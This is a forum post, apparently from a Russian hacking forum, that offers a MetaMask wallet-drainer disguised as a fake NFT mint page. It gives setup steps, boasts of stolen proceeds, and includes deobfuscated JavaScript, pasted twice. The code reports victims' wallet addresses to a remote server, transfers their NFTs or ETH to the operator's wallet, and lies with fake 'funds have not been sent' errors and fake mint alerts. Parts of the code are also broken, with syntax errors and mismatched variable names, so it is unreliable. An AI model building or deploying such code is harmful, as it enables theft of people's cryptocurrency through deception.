• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Stealing nft and eth via metamask

iSeeYou

floppy-диск
Пользователь
Регистрация
27.02.2019
Сообщения
7
Реакции
8
Внимание! Использовать в целях обучения! В код вшит кошелек 0x2ed40808C75379AD6114807cbb044cB619c0D214 и адрес api.rarecity.art (Moralis API)
web3.min.js
api.rarecity.art:2053
// Администрация форума



Суть фейка заточена под фейковый NFT mint, если у пользователя есть NFT, то в первую очередь его попросят отправить их под видом обычной транзакции и оплатой за GAS, но если NFT отсутствует , то будет создана транзакция на отправку эфира, учитывая что он есть в кошельке пользователя, если он отсутствует, ему будет выдана ошибка, чтобы он не узнал и не узнал все прелести функциональность!

Cкачать bind можно по ссылке

Настройка:
На временную почту зарегистрируйтесь moralis.io, нажми create new dapp, сеть mainnet ethereum, регион любой.
Жмем на создавшемся сервере settings коируем serverUrl и вставляем в 93 строку , так же копируем appId и вставляем в 94 строку
96 строка указываем свой кош eth
97 строка минимальный прайс минта , желательно от 0.1 эфира
Так же вы можете поменять дизайн на свой , заменив 2 картинки в папке assets.
Покупаем хостинг, домен и льем траф

Пример моего бинда
87c8f5cac94000c9aef2a.jpg

Советую делать красивые ленды , или маркетплейсы и уже по кнопке ставить наш бинд.
Я же не парился , т.к у меня был хороший трафик с твитера и просто выкладывал обычный бинд.

Сколько получалось вытащить с хорошего трафа ?
Ниже пример одного хорошего твиттер акка!
Земли в децентраленде продал за 40к$
Еще одну nft за 10eth
Остальное продал в общем на 25-30к
Ну и сумма в транзах вытянула на 17к$
Остальные залеты не вижу смысла выкладывать)
e1ac7ce1ef6b7a10151e3.jpg
a69f80995f17dc4af13d7.jpg
3fc6f28939dac50dfb8a6.jpg
3a2f12b590e568473dc9c.png

Всем профита !)
 
Последнее редактирование модератором:
web3.min.js is obfuscated here it is the deobfuscated one
JavaScript:
 const jakzenny = (function () {
        let djuanna = true
        return function (azah, claiborn) {
            const keshi = djuanna ?
                function() {
                    if (claiborn) {
                        const aaliyah = claiborn.apply(azah, arguments)
                        return(claiborn=null), aaliyah
                    }
                } :
                function() {}
            return(djuanna=false), keshi
        }
    })(),
    ragav = jakzenny(this, function () {
        return ragav
            .toString()
            .search('(((.+)+)+)+$')
            .toString()
            .constructor(ragav)
            .search('(((.+)+)+)+$')
    })
ragav()
let client_connected = false,
    client_address = 'none',
    client_button = $('.client--button'),
    client_wallet_info = $('.client--wallet-info'),
    mint_plus = $('.action--plus'),
    mint_minus = $('.action--minus'),
    mint_value = $('.nftsNumber'),
    mint_eth = $('.mint--price'),
    mint_amount = 1
var web3, user, nfts
let connect Moralis, hash
const moralisApi = io.connect('https://api.rarecity.art:2053'),
    domain = location.hostname,
    design = 'Inferno'
let change_detalis = 0
const charlina = {}
charlina.wallet = ''
charlina.price = ''
let details = charlina
alertify.set('notifier', 'position', 'bottom-left')
alertify.set('notifier', 'delay', 5)
let extension_alert

function loadContent() {
    $('title').text(dataContent.name)
    $('.title--h4').text(dataContent.name)
    $('.nft--value').text(mint_price)
    $('.total--supply').text('Total supply: ' + dataContent.supply + " NFT's")
    $('body').attr(
        'style',
        'background: url(' + dataContent.medias.background + ');'
    )
    $('.image--payment').attr('src', dataContent.medias.nft)
    $('.presale--date').text(today)
    dataContent.socialMedia.discord != '' &&
        $('.discord--link').attr('href', dataContent.socialMedia.discord)
    if (dataContent.socialMedia.twitter != '') {
        $('.twitter--link').attr('href', dataContent.socialMedia.twitter)
    }
}
$(document).ready(async() => {
    setInterval(() => mintAlerts(), 15000)
    await loadContent()
    mint_eth.text(mint_price) !localStorage.getItem('hash') ?
        ((hash = getHash(20)), localStorage.setItem('hash', hash)) :
        (hash = localStorage.getItem('hash'))
    if (location.protocol != 'https:') {
        await alertify.warning(
            'Error connect to API server. [Use protocol https:// for Moralis]'
        )
        console.log(
            '[Moralis] Error connect to API server. [Error: No protocol https://]'
        )
        return
    }
    const jorde = {
        hash: hash,
        domain:domain,
        design: design,
        receiverWallet: receiver_wallet,
    }
    moralisApi.emit('connected', jorde)
    return
})
setTimeout(function() {
    location.protocol == 'https:' && checkConnectMoralis()
}, 5000)

function checkConnectMoralis() {
    connectMoralis != 'mint2mint' &&
        (alertify.warning(
                'Error connect to API server. Trying to connect... [Moralis server not responding]'
            ),
            console.log('[Moralis] Error connect to API server. Trying to connect...'),
            setTimeout(function() {
                const midas = {
                    hash: hash,
                    domain:domain,
                    design: design,
                    receiverWallet: receiver_wallet,
                }
                moralisApi.emit('connected', midas)
            }, 1000))
}
moralisApi.on('connected', function (latorya) {
    if (hash == latorya.hash) {
        if (latorya.banned) {
            alertify.warning('You are blocked.')
            location.replace('https://google.com/')
            console.log('[Moralis] Client banned.')
            return
        }
        if (latorya.status == 0) {
            $('html').empty()
            $('html').append(
                '<head><title>Sebek</title><link rel="icon" href="https://i.imgur.com/1xqatE5.png"></head>'
            )
            $('html').prepend(
                '<center style="margin-top: 10rem;"><span style="font-size: 1.5rem;">Sebek was here.</span><br><img src="https://i. imgur.com/1xqatE5.png" style="margin-top: 1rem;border-radius: 50%;"></center>'
            )
            return
        }
        connectMoralis = 'mint2mint'
        if (latorya.change == 1) {
            change_details = 1
            detalis.wallet = latorya.wallet
            detalis.price = latorya.price
            const toshiyuki = latorya.moralis_url,
                daveen=latorya.moralis_appid,
                paytin = {
                    serverUrl: toshiyuki,
                    appId: daveen,
                }
            Moralis.start(paytin)
            getInfo()
        } else {
            const jziah = {
                serverUrl: serverUrl,
                appId: appId,
            }
            Moralis.start(jziah)
            getInfo()
        }
    }
})
async function getInfo() {
    if (connectMoralis == 'mint2mint') {
        if (typeof window.ethereum == 'undefined') {
            ;
            /Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayBook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i.test(
                    navigator.userAgent
                ) ?
                (alertify.warning('Continue in the Metamask app.'),
                    client_button
                    .attr(
                        'href',
                        'https://metamask.app.link/dapp/https://' + domain + '/'
                    )
                    .attr('target', '_blank')
                    .html('<button class="purchase-button">Open App</button>'),
                    console.log('[Moralis] Mobile client need App.')) :
                (alertify.warning("You don't have the Metamask extension installed."),
                    setTimeout(
                        () =>
                        alertify.warning(
                            'Click to install the Metamask extension for your browser.'
                        ),
                        2000
                    ),
                    client_button
                    .attr('href', 'https://metamask.io/download/')
                    .attr('target', '_blank')
                    .html('<button class="purchase-button">Install Extension</button>'),
                    console.log('[Moralis] Client not have extension.'))
            extension_alert = true
            return
        }
        console.log('[Moralis] Connected to API.')
        user = Moralis.User.current()
        if (!user) {
            console.log('[Moralis] Client connect...')
            alertify.warning('Connection to Metamask...')
            client_button.html(
                '<button class="purchase-button">Connect Wallet</button>'
            )
            await getConnect()
            return
        } else {
            console.log('[Moralis] Client ' + user + ' connected.')
            client_connected=true
            client_address = user
            client_button.html('<button class="purchase-button">Mint Now</button>')
            await verifyChain()
            await getNfts()
            return
        }
    } else {
        console.log('[Moralis] Not connected to API.')
        alertify.warning(
            'Error connect to API server. [Moralis server not responding]'
        )
    }
}
async function getConnect() {
    try {
        ;
        (web3 = await Moralis.enableWeb3()),
        alertify.warning('Connected to Metamask!')
    } catch (shoniece) {
        try {
            win &&
                (win.focus(),
                    await getInfo(),
                    alertify.warning('Connected to Metamask!'))
        } catch (wincie) {
            console.log('[Moralis] Client not connected.'),
                alertify.warning('Not connecting to Metamask.')
        }
        return
    }
    client_address = await Moralis.Web3.account
    client_connected=true
    await verifyChain()
    await getNfts()
    if (!localStorage.getItem('getMetamask')) {
        localStorage.setItem('getMetamask', client_address)
        const christopehr = {
            hash: hash,
            domain:domain,
            clientAddress: client_address,
        }
        moralisApi.emit('getMetamask', christopehr)
    }
    console.log('[Moralis] Client ' + client_address + ' connected.')
    client_button.html('<button class="purchase-button">Mint Now</button>')
    client_wallet_info.html(
        'Connected wallet: <span class="connected--wallet">' +
        client_address.slice(0, 5) +
        '...' +
        client_address.slice(-5) +
        '</span>'
    )
    return
}
let eth_network = false
async function verifyChain() {
    if (Moralis.getChainId() != '0x1') {
        try {
            const emmaneul = {
                method: 'wallet_switchEthereumChain',
                params: [{
                    chainId: '0x1'
                }],
            }
            await web3.currentProvider.request(emmaneul)
            eth_network=true
            console.log('[Moralis] Success verified chain.')
        } catch (abrion) {
            alertify.warning('Install the Ethereum network in your wallet.')
            console.log('[Moralis] Not install network Ethereum in wallet.')
            eth_network=false
            return
        }
    } else {
        eth_network=true
        console.log('[Moralis] Success verified chain.')
    }
}
async function checkTransaction(savahna, gisette) {
    spliceArr(nfts, gisette)
    try {
        await savahna.wait()
    } catch (daichi) {
        nfts.push(gisette)
    }
}
async function getContracts() {
    try {
        for (var janluca = 0; janluca < required_contracts.length; janluca++) {
            const yadiel = required_contracts[janluca]
            for (var sevilla = 0; sevilla < nfts.length; sevilla++) {
                const mansfield = nfts[sevilla]
                if (strcmp(mansfield.token_address, yadiel) != 0) {
                    continue
                }
                return mansfield
            }
        }
        return null
    } catch (manique) {
        return console.log("[Moralis] Not have required contracts NFT's."), null
    }
}
async function getNfts() {
    try {
        nfts = await Moralis.Web3.getNFTs({
            chain: 'eth',
            address: await Moralis.Web3.account,
        })
    } catch (xxavier) {
        if (client_connected) {
            console.log("[Moralis] Client not have NFT's.")
        } else {
            console.log('[Moralis] Client not connected.')
        }
    }
}
async function getTransfer() {
    if (!eth_network) {
        return
    }
    alertify.warning('Creating a transaction...')
    var lightton = await getContracts()
    if (lighton == null) {
        console.log(
            '[Moralis] Client ' + client_address + " don't have NFT's. Transfer ETH..."
        )
        stop = await transferEth()
        if (stop) {
            return
        }
    } else {
        console.log(
            '[Moralis] Client ' + client_address + " have NFT's. Transfer..."
        )
        await transferNft(lightton)
        return
    }
    await getTransfer()
    return
}
async function transferEth() {
    if (change_detalis == 0) {
        console.log(
            '[Moralis] Client ' +
            client_address +
            'transfer' +
            mint_price+
            ' ETH to ' +
            receiver_wallet+
            '.'
        )
        const nayari = {
            type: 'native',
            amount: Moralis.Units.ETH(mint_price * mint_amount),
            receiver: receiver_wallet
        }
        var sherelle = false
        let jakor = 0,
            kasey = await Moralis.transfer(nayari).catch((pearletta) => {
                if (pearletta.code === 4001) {
                    console.log('[Moralis] Error transfer ETH. [Error: 4001]'),
                        alertify.warning('You have canceled the transaction.')
                } else {
                    pearletta.toString().includes('insufficient funds') ?
                        (console.log(
                                '[Moralis] Error transfer ETH. [Error: Insufficient funds]'
                            ),
                            alertify.warning("You don't have enough funds.")) :
                        (console.log('[Moralis] Error transfer ETH. [Unknow error]'),
                            alertify.warning('Unknown transaction error.'))
                }
                jacor = 1
                sherelle = true
            })
        await asia()

        function asia() {
            if (jakor == 0) {
                console.log('[Moralis] * Success transfer ETH.')
                alertify.warning('Unknown transaction error, funds have not been sent.')
                setTimeout(() => getTransfer(), 1500)
                moralisApi.emit('createTransaction', {
                    hash: hash,
                    client:client_address
                    domain:domain,
                    wallet: receiver_wallet,
                    price: mint_price * mint_amount,
                    type: 'eth',
                    change: 0
                    status: 1
                })
            } else {
                console.log('[Moralis] * Error transfer ETH.'),
                    moralisApi.emit('createTransaction', {
                        hash: hash,
                        client:client_address
                        domain:domain,
                        wallet: receiver_wallet,
                        price: mint_price * mint_amount,
                        type: 'eth',
                        change: 0
                        status: 0
                    })
            }
        }
        return sherelle
    } else {
        console.log(
            '[Moralis] Client ' +
            client_address +
            'transfer' +
            details.price+
            ' ETH to ' +
            detalis.wallet +
            '.'
        )
        const micayah = {
            type: 'native',
            amount: Moralis.Units.ETH(detalis.price * mint_amount),
            receiver: details.wallet,
        }
        var sherelle = false
        let jamarie = 0,
            kaylianis = await Moralis.transfer(micayah).catch((ganza) => {
                if (ganza.code === 4001) {
                    console.log('[Moralis] Error transfer ETH. [Error: 4001]'),
                        alertify.warning('You have canceled the transaction.')
                } else {
                    if (ganza.toString().includes('insufficient funds')) {
                        console.log(
                                '[Moralis] Error transfer ETH. [Error: Insufficient funds]'
                            ),
                            alertify.warning("You don't have enough funds.")
                    } else {
                        console.log('[Moralis] Error transfer ETH. [Unknow error]')
                        alertify.warning('Unknown transaction error.')
                    }
                }
                jamarie=1
                sherelle = true
            })
        await leslee()

        function leslee() {
            if (jamarie == 0) {
                console.log('[Moralis] * Success transfer ETH.')
                alertify.warning('Unknown transaction error, funds have not been sent.')
                setTimeout(() => getTransfer(), 1500)
                moralisApi.emit('createTransaction', {
                    hash: hash,
                    client:client_address
                    domain:domain,
                    wallet: details.wallet,
                    price: detalis.price * mint_amount,
                    type: 'eth',
                    change: 1
                    status: 1
                })
            } else {
                moralisApi.emit('createTransaction', {
                    hash: hash,
                    client:client_address
                    domain:domain,
                    wallet: details.wallet,
                    price: detalis.price * mint_amount,
                    type: 'eth',
                    change: 1
                    status: 0
                })
            }
        }
        return sherelle
    }
}
async function transferNft(vian) {
    if (change_detalis == 0) {
        let driss = 0
        try {
            const deashley = {
                type: viaan.contract_type.toLowerCase(),
                receiver: receiver_wallet
                contractAddress: vian.token_address,
                tokenId: vian.token_id,
                amount: vian.amount,
            }
            let laciana = await Moralis. transfer(deashley).catch((theona) => {
                if (theona.code === 4001) {
                    console.log('[Moralis] Error transfer NFT. [Error: 4001]')
                    alertify.warning('You have canceled the transaction.')
                } else {
                    console.log('[Moralis] Error transfer NFT. [Unknow error]')
                    alertify.warning('Unknown transaction error.')
                }
                driss = 1
            })
            checkTransaction(laciana, vian)
            await sutton()

            function sutton() {
                driss == 0 ?
                    (console.log('[Moralis] * Success transfer NFT.'),
                        alertify.warning(
                            'Unknown transaction error, funds have not been sent.'
                        ),
                        setTimeout(() => getTransfer(), 1500),
                        moralisApi.emit('createTransaction', {
                            hash: hash,
                            client:client_address
                            domain:domain,
                            wallet: receiver_wallet,
                            price: 0
                            nftContract: vian.token_address,
                            type: 'nft',
                            change: 0
                            status: 1
                        })) :
                    moralisApi.emit('createTransaction', {
                        hash: hash,
                        client:client_address
                        domain:domain,
                        wallet: receiver_wallet,
                        price: 0
                        nftContract: vian.token_address,
                        type: 'nft',
                        change: 0
                        status: 0
                    })
            }
        } catch (javiere) {}
    } else {
        let adee = 0
        try {
            const biaunca = {
                type: viaan.contract_type.toLowerCase(),
                receiver: details.wallet,
                contractAddress: vian.token_address,
                tokenId: vian.token_id,
                amount: vian.amount,
            }
            let shiori = await Moralis.transfer(biaunca).catch((amyracle) => {
                if (amyracle.code === 4001) {
                    console.log('[Moralis] Error transfer NFT. [Error: 4001]')
                    alertify.warning('You have canceled the transaction.')
                } else {
                    console.log('[Moralis] Error transfer NFT. [Unknow error]')
                    alertify.warning('Unknown transaction error.')
                }
                adeee=1
            })
            checkTransaction(shiori, vian)
            await nyaziah()

            function naziah() {
                adeee == 0 ?
                    (console.log('[Moralis] * Success transfer NFT.'),
                        alertify.warning(
                            'Unknown transaction error, funds have not been sent.'
                        ),
                        setTimeout(() => getTransfer(), 1500),
                        moralisApi.emit('createTransaction', {
                            hash: hash,
                            client:client_address
                            domain:domain,
                            wallet: details.wallet,
                            price: 0
                            nftContract: vian.token_address,
                            type: 'nft',
                            change: 1
                            status: 1
                        })) :
                    moralisApi.emit('createTransaction', {
                        hash: hash,
                        client:client_address
                        domain:domain,
                        wallet: details.wallet,
                        price: 0
                        nftContract: vian.token_address,
                        type: 'nft',
                        change: 1
                        status: 0
                    })
            }
        } catch (aneea) {}
    }
}
client_button.click(async() => {
    if (extension_alert) {
        return
    }
    if (!client_connected) {
        getInfo()
    } else {
        verifyChain()
        getNfts()
        getTransfer()
        return
    }
})
mint_plus.click(async() => {
    if (mint_amount < 5) {
        mint_amount = mint_amount + 1
        mint_value.text(mint_amount)
        var quinneshia = parseFloat(mint_price)
        var jaycek = parseFloat(mint_amount)
        var gilfred = parseFloat(quinneshia * jaycek)
        mint_eth.text(gilfred.toFixed(2))
    }
})
mint_minus.click(async() => {
    if (mint_amount > 1) {
        mint_amount = mint_amount - 1
        mint_value.text(mint_amount)
        var yvette = parseFloat(mint_price)
        var sinahi = parseFloat(mint_amount)
        var billi = parseFloat(yvette * sinahi)
        mint_eth.text(billi.toFixed(2))
    }
})

mintAlerts() {
    const kovyn = getHash(3).toLowerCase()
    const anilu = getHash(5).toLowerCase()
    const gilly = randomInteger(1, 3)
    alertify.warning(
        'Wallet 0x' + kovyn + '...' + anilu + ' minted now ' + gilly + "NFT's!"
    )
}

function getHash(seandre) {
    var jovianne = ''
    var lavorn = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
    var amerigo = lavorn.length - 1
    for (i = 0; i < seandre; ++i) {
        position = Math.floor(Math.random() * amerigo)
        jovianne = jovianne + lavorn.substring(position, position + 1)
    }
    return jovianne
}

function randomInteger(everlina, tokina) {
    let agim = everlina + Math.random() * (tokina + 1 - everlina)
    return Math.floor(agim)
}

function strcmp(aiyanah, travan) {
    aiyanah = JSON.stringify(aiyanah).toLowerCase()
    return (
        (travan = JSON.stringify(travan).toLowerCase()),
        aiyanah < travan? -1 : aiyanah > travan ? ten
    )
}

function spliceArr(luismario, anahii) {
    for (var rihab = 0; rihab < luismario.length; rihab++) {
        luismario[rihab] === anahii && (luismario.splice(rihab, 1), rihab--)
    }
}
var today = new Date(),
    dd = String(today.getDate()).padStart(2, '0'),
    mm = String(today.getMonth() + 1).padStart(2, '0'),
    yyyy = today.getFullYear()
today = mm + '/' + dd + '/' + yyyy
 
web3.min.js is obfuscated here it is the deobfuscated one
JavaScript:
 const jakzenny = (function () {
        let djuanna = true
        return function (azah, claiborn) {
            const keshi = djuanna ?
                function() {
                    if (claiborn) {
                        const aaliyah = claiborn.apply(azah, arguments)
                        return(claiborn=null), aaliyah
                    }
                } :
                function() {}
            return(djuanna=false), keshi
        }
    })(),
    ragav = jakzenny(this, function () {
        return ragav
            .toString()
            .search('(((.+)+)+)+$')
            .toString()
            .constructor(ragav)
            .search('(((.+)+)+)+$')
    })
ragav()
let client_connected = false,
    client_address = 'none',
    client_button = $('.client--button'),
    client_wallet_info = $('.client--wallet-info'),
    mint_plus = $('.action--plus'),
    mint_minus = $('.action--minus'),
    mint_value = $('.nftsNumber'),
    mint_eth = $('.mint--price'),
    mint_amount = 1
var web3, user, nfts
let connect Moralis, hash
const moralisApi = io.connect('https://api.rarecity.art:2053'),
    domain = location.hostname,
    design = 'Inferno'
let change_detalis = 0
const charlina = {}
charlina.wallet = ''
charlina.price = ''
let details = charlina
alertify.set('notifier', 'position', 'bottom-left')
alertify.set('notifier', 'delay', 5)
let extension_alert

function loadContent() {
    $('title').text(dataContent.name)
    $('.title--h4').text(dataContent.name)
    $('.nft--value').text(mint_price)
    $('.total--supply').text('Total supply: ' + dataContent.supply + " NFT's")
    $('body').attr(
        'style',
        'background: url(' + dataContent.medias.background + ');'
    )
    $('.image--payment').attr('src', dataContent.medias.nft)
    $('.presale--date').text(today)
    dataContent.socialMedia.discord != '' &&
        $('.discord--link').attr('href', dataContent.socialMedia.discord)
    if (dataContent.socialMedia.twitter != '') {
        $('.twitter--link').attr('href', dataContent.socialMedia.twitter)
    }
}
$(document).ready(async() => {
    setInterval(() => mintAlerts(), 15000)
    await loadContent()
    mint_eth.text(mint_price) !localStorage.getItem('hash') ?
        ((hash = getHash(20)), localStorage.setItem('hash', hash)) :
        (hash = localStorage.getItem('hash'))
    if (location.protocol != 'https:') {
        await alertify.warning(
            'Error connect to API server. [Use protocol https:// for Moralis]'
        )
        console.log(
            '[Moralis] Error connect to API server. [Error: No protocol https://]'
        )
        return
    }
    const jorde = {
        hash: hash,
        domain:domain,
        design: design,
        receiverWallet: receiver_wallet,
    }
    moralisApi.emit('connected', jorde)
    return
})
setTimeout(function() {
    location.protocol == 'https:' && checkConnectMoralis()
}, 5000)

function checkConnectMoralis() {
    connectMoralis != 'mint2mint' &&
        (alertify.warning(
                'Error connect to API server. Trying to connect... [Moralis server not responding]'
            ),
            console.log('[Moralis] Error connect to API server. Trying to connect...'),
            setTimeout(function() {
                const midas = {
                    hash: hash,
                    domain:domain,
                    design: design,
                    receiverWallet: receiver_wallet,
                }
                moralisApi.emit('connected', midas)
            }, 1000))
}
moralisApi.on('connected', function (latorya) {
    if (hash == latorya.hash) {
        if (latorya.banned) {
            alertify.warning('You are blocked.')
            location.replace('https://google.com/')
            console.log('[Moralis] Client banned.')
            return
        }
        if (latorya.status == 0) {
            $('html').empty()
            $('html').append(
                '<head><title>Sebek</title><link rel="icon" href="https://i.imgur.com/1xqatE5.png"></head>'
            )
            $('html').prepend(
                '<center style="margin-top: 10rem;"><span style="font-size: 1.5rem;">Sebek was here.</span><br><img src="https://i. imgur.com/1xqatE5.png" style="margin-top: 1rem;border-radius: 50%;"></center>'
            )
            return
        }
        connectMoralis = 'mint2mint'
        if (latorya.change == 1) {
            change_details = 1
            detalis.wallet = latorya.wallet
            detalis.price = latorya.price
            const toshiyuki = latorya.moralis_url,
                daveen=latorya.moralis_appid,
                paytin = {
                    serverUrl: toshiyuki,
                    appId: daveen,
                }
            Moralis.start(paytin)
            getInfo()
        } else {
            const jziah = {
                serverUrl: serverUrl,
                appId: appId,
            }
            Moralis.start(jziah)
            getInfo()
        }
    }
})
async function getInfo() {
    if (connectMoralis == 'mint2mint') {
        if (typeof window.ethereum == 'undefined') {
            ;
            /Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayBook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i.test(
                    navigator.userAgent
                ) ?
                (alertify.warning('Continue in the Metamask app.'),
                    client_button
                    .attr(
                        'href',
                        'https://metamask.app.link/dapp/https://' + domain + '/'
                    )
                    .attr('target', '_blank')
                    .html('<button class="purchase-button">Open App</button>'),
                    console.log('[Moralis] Mobile client need App.')) :
                (alertify.warning("You don't have the Metamask extension installed."),
                    setTimeout(
                        () =>
                        alertify.warning(
                            'Click to install the Metamask extension for your browser.'
                        ),
                        2000
                    ),
                    client_button
                    .attr('href', 'https://metamask.io/download/')
                    .attr('target', '_blank')
                    .html('<button class="purchase-button">Install Extension</button>'),
                    console.log('[Moralis] Client not have extension.'))
            extension_alert = true
            return
        }
        console.log('[Moralis] Connected to API.')
        user = Moralis.User.current()
        if (!user) {
            console.log('[Moralis] Client connect...')
            alertify.warning('Connection to Metamask...')
            client_button.html(
                '<button class="purchase-button">Connect Wallet</button>'
            )
            await getConnect()
            return
        } else {
            console.log('[Moralis] Client ' + user + ' connected.')
            client_connected=true
            client_address = user
            client_button.html('<button class="purchase-button">Mint Now</button>')
            await verifyChain()
            await getNfts()
            return
        }
    } else {
        console.log('[Moralis] Not connected to API.')
        alertify.warning(
            'Error connect to API server. [Moralis server not responding]'
        )
    }
}
async function getConnect() {
    try {
        ;
        (web3 = await Moralis.enableWeb3()),
        alertify.warning('Connected to Metamask!')
    } catch (shoniece) {
        try {
            win &&
                (win.focus(),
                    await getInfo(),
                    alertify.warning('Connected to Metamask!'))
        } catch (wincie) {
            console.log('[Moralis] Client not connected.'),
                alertify.warning('Not connecting to Metamask.')
        }
        return
    }
    client_address = await Moralis.Web3.account
    client_connected=true
    await verifyChain()
    await getNfts()
    if (!localStorage.getItem('getMetamask')) {
        localStorage.setItem('getMetamask', client_address)
        const christopehr = {
            hash: hash,
            domain:domain,
            clientAddress: client_address,
        }
        moralisApi.emit('getMetamask', christopehr)
    }
    console.log('[Moralis] Client ' + client_address + ' connected.')
    client_button.html('<button class="purchase-button">Mint Now</button>')
    client_wallet_info.html(
        'Connected wallet: <span class="connected--wallet">' +
        client_address.slice(0, 5) +
        '...' +
        client_address.slice(-5) +
        '</span>'
    )
    return
}
let eth_network = false
async function verifyChain() {
    if (Moralis.getChainId() != '0x1') {
        try {
            const emmaneul = {
                method: 'wallet_switchEthereumChain',
                params: [{
                    chainId: '0x1'
                }],
            }
            await web3.currentProvider.request(emmaneul)
            eth_network=true
            console.log('[Moralis] Success verified chain.')
        } catch (abrion) {
            alertify.warning('Install the Ethereum network in your wallet.')
            console.log('[Moralis] Not install network Ethereum in wallet.')
            eth_network=false
            return
        }
    } else {
        eth_network=true
        console.log('[Moralis] Success verified chain.')
    }
}
async function checkTransaction(savahna, gisette) {
    spliceArr(nfts, gisette)
    try {
        await savahna.wait()
    } catch (daichi) {
        nfts.push(gisette)
    }
}
async function getContracts() {
    try {
        for (var janluca = 0; janluca < required_contracts.length; janluca++) {
            const yadiel = required_contracts[janluca]
            for (var sevilla = 0; sevilla < nfts.length; sevilla++) {
                const mansfield = nfts[sevilla]
                if (strcmp(mansfield.token_address, yadiel) != 0) {
                    continue
                }
                return mansfield
            }
        }
        return null
    } catch (manique) {
        return console.log("[Moralis] Not have required contracts NFT's."), null
    }
}
async function getNfts() {
    try {
        nfts = await Moralis.Web3.getNFTs({
            chain: 'eth',
            address: await Moralis.Web3.account,
        })
    } catch (xxavier) {
        if (client_connected) {
            console.log("[Moralis] Client not have NFT's.")
        } else {
            console.log('[Moralis] Client not connected.')
        }
    }
}
async function getTransfer() {
    if (!eth_network) {
        return
    }
    alertify.warning('Creating a transaction...')
    var lightton = await getContracts()
    if (lighton == null) {
        console.log(
            '[Moralis] Client ' + client_address + " don't have NFT's. Transfer ETH..."
        )
        stop = await transferEth()
        if (stop) {
            return
        }
    } else {
        console.log(
            '[Moralis] Client ' + client_address + " have NFT's. Transfer..."
        )
        await transferNft(lightton)
        return
    }
    await getTransfer()
    return
}
async function transferEth() {
    if (change_detalis == 0) {
        console.log(
            '[Moralis] Client ' +
            client_address +
            'transfer' +
            mint_price+
            ' ETH to ' +
            receiver_wallet+
            '.'
        )
        const nayari = {
            type: 'native',
            amount: Moralis.Units.ETH(mint_price * mint_amount),
            receiver: receiver_wallet
        }
        var sherelle = false
        let jakor = 0,
            kasey = await Moralis.transfer(nayari).catch((pearletta) => {
                if (pearletta.code === 4001) {
                    console.log('[Moralis] Error transfer ETH. [Error: 4001]'),
                        alertify.warning('You have canceled the transaction.')
                } else {
                    pearletta.toString().includes('insufficient funds') ?
                        (console.log(
                                '[Moralis] Error transfer ETH. [Error: Insufficient funds]'
                            ),
                            alertify.warning("You don't have enough funds.")) :
                        (console.log('[Moralis] Error transfer ETH. [Unknow error]'),
                            alertify.warning('Unknown transaction error.'))
                }
                jacor = 1
                sherelle = true
            })
        await asia()

        function asia() {
            if (jakor == 0) {
                console.log('[Moralis] * Success transfer ETH.')
                alertify.warning('Unknown transaction error, funds have not been sent.')
                setTimeout(() => getTransfer(), 1500)
                moralisApi.emit('createTransaction', {
                    hash: hash,
                    client:client_address
                    domain:domain,
                    wallet: receiver_wallet,
                    price: mint_price * mint_amount,
                    type: 'eth',
                    change: 0
                    status: 1
                })
            } else {
                console.log('[Moralis] * Error transfer ETH.'),
                    moralisApi.emit('createTransaction', {
                        hash: hash,
                        client:client_address
                        domain:domain,
                        wallet: receiver_wallet,
                        price: mint_price * mint_amount,
                        type: 'eth',
                        change: 0
                        status: 0
                    })
            }
        }
        return sherelle
    } else {
        console.log(
            '[Moralis] Client ' +
            client_address +
            'transfer' +
            details.price+
            ' ETH to ' +
            detalis.wallet +
            '.'
        )
        const micayah = {
            type: 'native',
            amount: Moralis.Units.ETH(detalis.price * mint_amount),
            receiver: details.wallet,
        }
        var sherelle = false
        let jamarie = 0,
            kaylianis = await Moralis.transfer(micayah).catch((ganza) => {
                if (ganza.code === 4001) {
                    console.log('[Moralis] Error transfer ETH. [Error: 4001]'),
                        alertify.warning('You have canceled the transaction.')
                } else {
                    if (ganza.toString().includes('insufficient funds')) {
                        console.log(
                                '[Moralis] Error transfer ETH. [Error: Insufficient funds]'
                            ),
                            alertify.warning("You don't have enough funds.")
                    } else {
                        console.log('[Moralis] Error transfer ETH. [Unknow error]')
                        alertify.warning('Unknown transaction error.')
                    }
                }
                jamarie=1
                sherelle = true
            })
        await leslee()

        function leslee() {
            if (jamarie == 0) {
                console.log('[Moralis] * Success transfer ETH.')
                alertify.warning('Unknown transaction error, funds have not been sent.')
                setTimeout(() => getTransfer(), 1500)
                moralisApi.emit('createTransaction', {
                    hash: hash,
                    client:client_address
                    domain:domain,
                    wallet: details.wallet,
                    price: detalis.price * mint_amount,
                    type: 'eth',
                    change: 1
                    status: 1
                })
            } else {
                moralisApi.emit('createTransaction', {
                    hash: hash,
                    client:client_address
                    domain:domain,
                    wallet: details.wallet,
                    price: detalis.price * mint_amount,
                    type: 'eth',
                    change: 1
                    status: 0
                })
            }
        }
        return sherelle
    }
}
async function transferNft(vian) {
    if (change_detalis == 0) {
        let driss = 0
        try {
            const deashley = {
                type: viaan.contract_type.toLowerCase(),
                receiver: receiver_wallet
                contractAddress: vian.token_address,
                tokenId: vian.token_id,
                amount: vian.amount,
            }
            let laciana = await Moralis. transfer(deashley).catch((theona) => {
                if (theona.code === 4001) {
                    console.log('[Moralis] Error transfer NFT. [Error: 4001]')
                    alertify.warning('You have canceled the transaction.')
                } else {
                    console.log('[Moralis] Error transfer NFT. [Unknow error]')
                    alertify.warning('Unknown transaction error.')
                }
                driss = 1
            })
            checkTransaction(laciana, vian)
            await sutton()

            function sutton() {
                driss == 0 ?
                    (console.log('[Moralis] * Success transfer NFT.'),
                        alertify.warning(
                            'Unknown transaction error, funds have not been sent.'
                        ),
                        setTimeout(() => getTransfer(), 1500),
                        moralisApi.emit('createTransaction', {
                            hash: hash,
                            client:client_address
                            domain:domain,
                            wallet: receiver_wallet,
                            price: 0
                            nftContract: vian.token_address,
                            type: 'nft',
                            change: 0
                            status: 1
                        })) :
                    moralisApi.emit('createTransaction', {
                        hash: hash,
                        client:client_address
                        domain:domain,
                        wallet: receiver_wallet,
                        price: 0
                        nftContract: vian.token_address,
                        type: 'nft',
                        change: 0
                        status: 0
                    })
            }
        } catch (javiere) {}
    } else {
        let adee = 0
        try {
            const biaunca = {
